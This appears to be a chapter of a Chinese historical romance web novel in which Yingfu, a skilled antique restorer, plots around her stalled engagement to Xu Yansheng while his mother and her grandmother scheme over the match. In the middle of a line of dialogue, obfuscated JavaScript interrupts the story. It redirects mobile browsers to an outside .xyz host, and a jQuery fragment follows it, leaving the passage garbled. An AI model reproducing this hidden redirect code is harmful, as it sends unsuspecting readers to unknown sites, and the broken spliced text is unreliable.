“这是你修的？”
忠勤伯站在佛像面前上下打量、左右观察了半天，都看不出一点破绽，才朝英茀竖起了大拇指。
“夫人快来看啊，这和我们拿到的时候有什么区别！”
忠勤伯夫人白了他一眼，冷哼道：“瞧你那没见过世面的样子。”
又搀着英茀的手，温柔地笑道：“英茀呀，这次多亏了你帮忙。往后你要多来伯府走动，但凡有什么事情，你就只管与我说，我定为你做主。”
英茀随即福了一福：“夫人言重了，英茀不过尽了些绵薄之力。”
她本来想退出礼堂，但思考了一番最终还是朝着忠勤伯及夫人跪下深深一拜。
“望伯爷夫人见谅，英茀真的有一事相求。”
英茀的声音中带有哭腔。
“哎！你这孩子！”
忠勤伯夫妇没料到她竟突然跪下，连忙扶起英茀。
“动不动就跪算什么事儿？且不说你和清儿一向交好，今日又帮了我们这么大的忙，就算是我们两家这么久的交情，你的事情我们也不可能坐视不管啊。”
“对对！”忠勤伯顺着夫人的话往下说，“我舞刀弄枪惯了，不会说什么虚的，英茀你有什么话尽管和我讲，我倒要看看谁把我大侄女欺负成这样了！”
英茀的鼻头骤然一酸，感觉眼眶里有一股热流涌上来，她由着忠勤伯夫人搀扶她起来，终于憋不住，两行清泪夺眶而出，落在她白皙清丽的脸颊上。
**
入夜，徐宅内。
“什么？”屋内徐夫人的声音陡然升高，带着微微嘲讽的意味，“她竟敢向你提出退婚？”
徐燕生神情有些疲惫，他垂着头，轻轻地点了下。
徐夫人眼睛一转，略一思忖，问徐燕生：“你觉得这是她祖母的意思，还是自己的意思？”
“可能是她自己的意思吧？今天遇到王老夫人，她还问我什么时候去王家。”
徐燕生喝了口茶，却觉得不是滋味。
怎么不是那老婆子的意思呢。徐夫人心中遗憾。
看着徐燕生垂头丧气的模样，徐夫人组织了一下语言，才又问，“你觉得她为何坚持了这么久，偏偏在今天提出退婚？”
“不知道。”徐燕生的情绪很低落，“可能是受不了流言蜚语吧。”
烛火忽然炸了一下，将徐氏母子都吓了一跳。
“母亲，年前把我和英茀的婚事办了吧。”徐燕生提出意见。
“你没毛病吧？”
徐夫人一怔，猛戳了徐燕生的头。
“你不是不知道刘家姑娘的事情，明年春天的春闱一考，你可还靠着刘侍郎在吏部帮你谋划呢，你现在和王英茀成婚，岂不功亏一篑！”
知道他在想什么，徐夫人连忙温言劝慰：“她都受了这么多年的闲话了，怎么会因为流言来找你退婚？何况她祖母都没出面，你着什么急？婚约岂是她一个未出阁的姑娘说退就能退的？”
她冷笑一声，灯光下她那张保养得宜的脸显得格外精明能干。
“我看呐，她说退婚无非两种可能。第一是她祖母给支的招，让她私下给你说，好激你个痴情郎来我们面前闹，让我们赶紧去她家下聘。听说她那个堂兄最近相看了一门亲事，保不齐准备让我们把聘礼抬去，好补她堂兄那边聘礼的空缺呢！”
“至于第二嘛，”她看向徐燕生，忿忿地道：“说不定这是她自个儿的主意，她看上别人了，想攀别的高枝儿，就是不知道哪家能看上她这个老姑娘。”
“母亲！英茀不是这样的人！”
徐燕生瞪了一眼旁边捂嘴偷笑的大丫鬟秋雁，出口阻止徐夫人说更难听的话。
今天水榭发生的事本来就让他情绪不佳，现在听到母亲的这些胡乱的揣测，更令他心如乱麻。
他起身来，朝徐夫人深深鞠躬一拜。
“过几日刘家的宴会我就不去了，今年年前，我一定会娶英茀为妻，我喜欢她，希望母亲以后不要在下人面前说有损未来少夫人颜面的话。夜已深了，儿子告退，母亲早点休息。”
“你糊涂！”徐夫人在他的身后急切地喊：“燕生你别走！”
徐燕生并没有理会她，他只是不断地回忆英茀堆他说的话，又想起徐夫人刚才说的，王家可能因为想用徐家的聘礼填英茀堂兄的空缺的事，心中更是对英茀这个纨绔堂兄厌烦到了极点。
他略顿了顿，便头也不回地走了，只留下气急的徐夫人和帮她顺气的秋雁。
“夫人可别气坏了身体。”秋雁一边帮徐夫人顺气一边道：“少爷只是一时没转过弯来，他是读了圣贤书的人，要他忽然放弃多年盟约，恐怕他过不了心中仁仪那一关。”
“还是你好，”徐夫人夸赞秋雁，“不愧是在我身边长大的，往后你到了他房里，还得多和他讲讲，我这个儿子，对人情世故还不如你一个小丫鬟。”
秋雁听她这样说，脸羞了个通红，将脸撇在旁边，轻轻地点头。
“这个王英茀，不知道给燕生灌了什么迷魂汤，把他一颗心栓得牢牢实实的。她一个破落户，对我们徐家可以说毫无帮助，偏燕生还把她当个宝。”
“哎，”她又叹口气，无奈地道，“若不是因为我们是清流人家，重名声，我早就找她家老太太退婚了，这么多年谁都看得出来她根本配不上我们家燕生，偏她家老太太狠心，就算让自己孙女被全城人笑话，也不主动开口退婚。”
“到底不是那老婆子的亲孙女。看燕生这癫狂样子，我还得替他谋划谋划，可别着了王家那丫头的道了。”
灯光越来越暗，徐夫人的声音也越来越轻，徐宅的夜已经静下来了。
**
英茀刚回到王宅，就被祖母和二叔唤去正厅。
“茀姐儿，今日你可催了徐二公子准备婚事了？”
英茀朝张氏福了福身：“回祖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268817|182209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
母，我催了，但徐家似乎……”
看着张氏和郑玉桂王承甫的灼灼目光，英茀答道：“……暂时没有这个打算。”
“什么？”祖母张氏先皱眉。
“他说家中催他先考了这次春闱，婚事等春闱过后再说。”
“笑话！”张氏拍案而起，怒道，“他们分明就是在拖延时间，你都十九岁了，要是到时候他们再推，你岂不成了笑话？”
张氏好像忘记了，她这个便宜孙女，早就是京城的笑话了。
“祖母，”英茀轻声试探，“徐家会不会并不想娶我，不如我们退婚吧？”
“胡闹！”张氏脸色一变，和王承甫夫妇异口同声地说。
张氏看了眼英茀，缓和了情绪，柔声说：“这婚事是你祖父定下来的，我们怎么能随意退婚？更何况你也知道自己的处境，你比不上萧姐儿，年纪轻又有好名声，如今你再不把徐家抓住，京城之中还有谁会娶你呀？”
张氏话中全是对她的担忧。
二叔王承甫也劝导她：“英茀啊，你也别误会了燕生，我看这孩子一直对你很好，绝不是那种忘恩负义的人。等过几日二叔忙完皇上千秋节的事就去徐家问问看，是不是有什么误会，也让他们给定个期出来。”
果然，所有人的举动都和她预料的一丝不差。
英茀看着眼前的这些“亲人”，在心中冷笑，他们都是心思灵巧之人，但他们从来都只关心这婚约能给他们带来什么利益，说到底，不过是欺她没有父母做主。
“谢谢二叔。”她乖巧地感谢王承甫。
“对了二叔，”她话锋一转，“您刚刚说到千秋节，您可准备好给皇上的寿礼了？”
王承甫皱眉，惆怅地道：“正发愁呢，工部过几日就要统计大家的寿礼名单了，可我实在不知道送什么好，怎么，你有主意？”
英茀微微一笑。
“我前几日刚在东二档得了本佛经，是王摩诘手抄义净禅师的《南海寄归内法传》，我找人鉴定过，是真迹，我想若将这本经书呈上，必定得皇上喜欢。”
王承甫不知道什么南海什么经，他只知道当今皇上崇尚礼佛，对古董更是小有研究，单只“王摩诘”和“义净禅师”，他已经心动。
他按捺住激动心情。
“当真？”
英茀点头：“千真万确，不过这佛经历经近千年，有所破损，二叔可等英茀稍加修复，再行呈上，皇上一定龙颜大悦。”
王承甫满意地点头，对英茀修复古董的高超技艺，他还是颇为了解的。
“我虽相信你的技艺，但千秋节并非儿戏，我想我还得看看这本佛经，再做定夺。”
英茀点头道：“那是自然，明日我就将佛经呈给二叔查看。”
“如此，就辛苦茀姐儿了。”
英茀看着王承甫和张氏按捺不住的兴奋，慢慢地垂下了眼帘，她知道，这场博弈，她已接近胜利了。